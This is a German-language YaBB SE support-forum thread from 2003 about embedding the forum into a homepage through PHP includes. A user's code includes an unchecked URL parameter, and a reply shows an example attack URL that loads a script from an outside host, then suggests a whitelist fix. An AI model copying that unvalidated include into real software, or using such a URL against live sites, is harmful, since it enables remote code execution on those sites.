Welcome, Guest. Please Login or Register.
November 27, 2024, 10:49:06 AM
Home Help Search Log in Register
News: SMF is the next generation in forum software, almost completely re-written from the ground up, make sure you don't fall for cheap imitations that suffer from feature bloat!

YaBB SE Community  |  German User Help  |  Hilfe zu YaBB SE  |  Board verschieben, und HP-Änderung in include « previous next »
Pages: [1] 2 Reply Ignore Print
Author Topic: Board verschieben, und HP-Änderung in include  (Read 614 times)
Liste
Noobie
*
Posts: 16


I'm a llama!

Board verschieben, und HP-Änderung in include
« on: January 28, 2003, 10:45:32 AM »
Reply with quote

Hallo!!

ich bin derzeit dabei, bei meiner HP die Frames in
eine Tabelle mit mehreren Inlcude-Dateien zu ändern.

Das klappt soweit ganz gut, nur nicht bei dem Forum.

Das derzeitige Forum (1.4.1) habe ich schön mit includet, das klappt auch.
Problem: er merkt sich nicht die cookies nach dem einloggen.
Denn wenn ich mich einlogge geht ein neues Browser-Fenster auf.

bei den Frames klappt das alles.

jetzt meine Frage:

kann ich das Board einfach kopieren, in ein andres Verzeichnis,
dort die instellungen ändern (bei include brauche ich ja keine StyleSheets mehr,
das diese aus der index.php genommen wird, oder?)

und was muss ich evtl. beiden Verzeichnissen eintragen im Admin-Bereich, damit
das Forum bei jedem klick nicht ein neues Fenster öffnet sondern in der Hauptseite
bleibt.
oder wird jede Änderung in der DB gespeichert, so das ich nicht "2-gleisig" fahren kann?

mein derzeitiger aufbau ist so...

index.php:

eine Tabelle
include(oben.php)
include(links.php)
include($topic)
include(rechts.php)

in der mitte der Tabelle wird via include($topic)
jeweils die PHP geladen die ich via link übergebe,

also beim forum steht in der links.php:

echo "<a href='index.php?topic=http://www.meine_homepage.de/yabbse/'>FORUM</a><br>";

also noch verlinkt mit dem orginalforum...
der link funktioniert, öffnet (leider ausgeloggt) das Forum im mittleren teil, nur ab dann öffnet wie gesagt der nächste Link
ein neues Browser-Fenster. Und die Farben werden vom Orginal-Forum an die ganze Seite übergeben.

für ideen und vorschläge wäre ich ehr dankbar.

Dirk
Logged
chris
Guest
Re:Board verschieben, und HP-Änderung in include
« Reply #1 on: January 28, 2003, 10:55:24 AM »
Reply with quote

Ähmmm....

Quoteindex.php:

eine Tabelle
include(oben.php)
include(links.php)
include($topic)
include(rechts.php)

nur mal eine gaaaanz doofe frage.... du checkst aber schon ob $topic gültig ist, oder? (sprich: da nur werte drinne stehen die du auch erwartest/willst)

ich frag nur weil man sonst so schön deine komplette website in 2 minuten platt machen kann, bzw. verändern kann was immer man will... *nur mal so anmerk*

weil man sie ja durchaus auch mit

index.php?topic=http://www.meine_boese_homepage.de/website_loeschen.php

aufrufen könnte..... wobei meine_boese_website ein beliebiger server sein kann....
Logged
Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #2 on: January 28, 2003, 10:57:43 AM »
Reply with quote

daran hab ich noch gar nicht gedacht, haste eine idee?

Logged
Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #3 on: January 28, 2003, 11:02:31 AM »
Reply with quote

das einzigste was ich mache ist:

if (!isset($topic))
{
 $topic = "news/news.php";
}
include($topic);
Logged
andrea
Global Moderator
YaBB God
*****
Posts: 4400


Peace on Earth

WWW
Re:Board verschieben, und HP-Änderung in include
« Reply #4 on: January 28, 2003, 11:25:51 AM »
Reply with quote

Quote from: Liste on January 28, 2003, 10:45:32 AMich bin derzeit dabei, bei meiner HP die Frames in
eine Tabelle mit mehreren Inlcude-Dateien zu ändern.

Das klappt soweit ganz gut, nur nicht bei dem Forum.

Das derzeitige Forum (1.4.1) habe ich schön mit includet, das klappt auch.
Problem: er merkt sich nicht die cookies nach dem einloggen.
Denn wenn ich mich einlogge geht ein neues Browser-Fenster auf.

bei den Frames klappt das alles.

Beim Arbeiten mit Frames setzt man ja normalerweise das  
target="irgendwas"
Attribut in die Links hinein. Das Oeffnen des neuen Fensters könnte dadurch entstehen, dass noch eine target Leiche herumliegt...
Logged

Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #5 on: January 28, 2003, 11:28:00 AM »
Reply with quote

ich arbeite ja nun nicht mehr mit frames und target - beim includen kommt diese störende effekt zu stande..
Logged
chris
Guest
Re:Board verschieben, und HP-Änderung in include
« Reply #6 on: January 28, 2003, 11:32:11 AM »
Reply with quote

Quote from: Liste on January 28, 2003, 11:02:31 AMdas einzigste was ich mache ist:

if (!isset($topic))
{
 $topic = "news/news.php";
}
include($topic);


Ich würde das garnicht so machen... sondern anders... *in meinem extrem geheimen board-projekt wühl* *umschreib* ... nämlich so:

   $modules      = array();
   
   $modules['index']   = 'index.php';
   $modules['news']   = 'news/news.php';
   $modules['impressum']   = 'impressum.php';

   if (!isset($_GET['topic']) || !array_key_exists(strtolower($_GET['topic']), $modules))
   {      
      $topic   = 'index';
   }
   else
   {   
      $topic   = strtolower($_GET['topic']);
   }

   include_once($modules[$topic]);

Je nach PHP-Version musst Du $_GET durch $HTTP_GET_VARS ersetzen... kannst es ja mal ausprobieren.... das müsste klappen.... habs aber nicht getestet....
Logged
Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #7 on: January 28, 2003, 11:35:43 AM »
Reply with quote

aber so könnte ich doch dann auch ein andres Topic übergeben, oder?
Logged
chris
Guest
Re:Board verschieben, und HP-Änderung in include
« Reply #8 on: January 28, 2003, 11:44:15 AM »
Reply with quote

Quote from: Liste on January 28, 2003, 11:35:43 AMaber so könnte ich doch dann auch ein andres Topic übergeben, oder?

übergeben kannst du alles was du willst.... nur kommt das niemals unten an *g*

angenommen du gibst als topic "tralala" mit...

dann geht die

if (!isset($_GET['topic']) || !array_key_exists(strtolower($_GET['topic']), $modules))
Abfrage schief weil array_key_exists sagt das "tralala" nicht in dem $modules array vorkommt... es wird dann automatisch das topic auf "index" gesetzt und die seite angezeigt...
Logged
Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #9 on: January 28, 2003, 11:46:48 AM »
Reply with quote

ach so....
also muss ich jedesmal wenn ich einen neuen Link einfüge das in Arrays packen?

wie macht man das dann im Forum?
da ändert sich doch jedesmal der link wegen den Variablen...
Logged
chris
Guest
Re:Board verschieben, und HP-Änderung in include
« Reply #10 on: January 28, 2003, 11:53:13 AM »
Reply with quote

Quote from: Liste on January 28, 2003, 11:46:48 AMach so....
also muss ich jedesmal wenn ich einen neuen Link einfüge das in Arrays packen?

wie macht man das dann im Forum?
da ändert sich doch jedesmal der link wegen den Variablen...

so wie du das forum einbinden willst macht man das sowieso nicht....

schau mal in die englischen bretter, da gabs ne info wie man yabb am besten an die eigene site anpasst.... und auch hier gabs vor kurzem einen beitrag dazu....

das so zu machen, dass du jedesmal das forum über seine url einbindest (also so wie beschrieben über include('http://usw') ist sowieso nicht sinn der sache und wird nicht funktionieren.... dann kann das forum nämlich sehr wahrscheinlich keine cookies mehr setzen und damit kann sich keiner mehr einloggen (bzw. eingeloggt bleiben)
Logged
Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #11 on: January 28, 2003, 11:57:34 AM »
Reply with quote

Quotedas so zu machen, dass du jedesmal das forum über seine url einbindest (also so wie beschrieben über include('http://usw') ist sowieso nicht sinn der sache und wird nicht funktionieren.... dann kann das forum nämlich sehr wahrscheinlich keine cookies mehr setzen und damit kann sich keiner mehr einloggen (bzw. eingeloggt bleiben)

das ich den ganzen link (also "http://www.... ") habe ich derzeit nur gemacht weil ich mich auf ein andres Verzeichnis befinde, zum testen.

in zukunft solldas dann wie folgt übergeben werden: index.php$topic=forum/index.php
oder je nachdem wie ich die startdatei nenne.

hast du evtl. den Link wo ich das finde mit dem richtigen includen?

zumindest kennst du mein Problem, oder?
Logged
Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #12 on: February 17, 2003, 08:35:29 AM »
Reply with quote

aber jetzt nochmal zurück zu meinem Problem...

wenn ich auf den LINK "Forum" klicke öffnet
es dieses korrekt in der Spalte (also kein Frame!),
in dem ich das Forum auch haben will.

Sobald ich aber dann im Forum auf einen Link klicke
geht ein neues Fenster auf.
In welcher Datei muss ich das einstellen dass
das Forum innerhalb der Tabelle bleibt?
Logged
Pitti
Guest
Re:Board verschieben, und HP-Änderung in include
« Reply #13 on: February 18, 2003, 01:02:19 AM »
Reply with quote

moin liste,

ich glaube fast, wenn du das andersrum gemacht hättest, also deine sachen in das yabbse-forum zu integrieren, wäre das einfacher gewesen. die internen links im forum rufen ja die eigene index.php auf mit den vars wohin verzweigt werden soll. also ich hatte das mal so gemacht:
- meine zusätze in ein verzeichnis unterhalb des yabb gelegt,
- das template vom yabb bissel erweitert und
- die aufrufe in der index.php vom yabb hinzugefügt ...

gruß pitti
Logged
Liste
Noobie
*
Posts: 16


I'm a llama!

Re:Board verschieben, und HP-Änderung in include
« Reply #14 on: February 18, 2003, 12:04:10 PM »
Reply with quote

Hallo Pitti(-platsch)!!

tja, nun bin ich fast fertig mit der seite,
möchte natürlich jett nicht nochmal anfangen, denn das Forum habe ich
mir für den Schluss aufgehoben - dachte da muss ich bloß noch irgendwas einstellen.

hab das jetzt so versucht:
echo "<a href='index.php?topic=yabbse/index.php'>$punkt FORUM</a><br>";

aber er findet dann (logischerweise) aus der index.php (die vom Forum)
nicht die andren Dateien
(Warning: Failed opening 'QueryString.php' for inclusion (include_path='.:/usr/share/php') ...)
etc.

möchte aber halt gerne das Forum in die Seite integrieren...
kann ich da was im Template ändern?
Logged
Pages: [1] 2 Reply Ignore Print 
YaBB SE Community  |  German User Help  |  Hilfe zu YaBB SE  |  Board verschieben, und HP-Änderung in include « previous - next »
 


Powered by MySQL Powered by PHP YaBB SE Community | Powered by YaBB SE
© 2001-2003, YaBB SE Dev Team. All Rights Reserved.
SMF 2.1.4 © 2023, Simple Machines
Valid XHTML 1.0! Valid CSS

Page created in 0.041 seconds with 20 queries.